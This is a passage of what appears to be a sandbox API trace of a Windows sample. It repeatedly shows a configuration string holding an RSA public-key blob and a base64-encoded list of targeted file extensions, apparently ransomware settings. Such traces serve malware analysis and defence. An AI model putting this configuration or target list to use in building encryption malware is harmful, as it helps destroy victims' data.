LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmE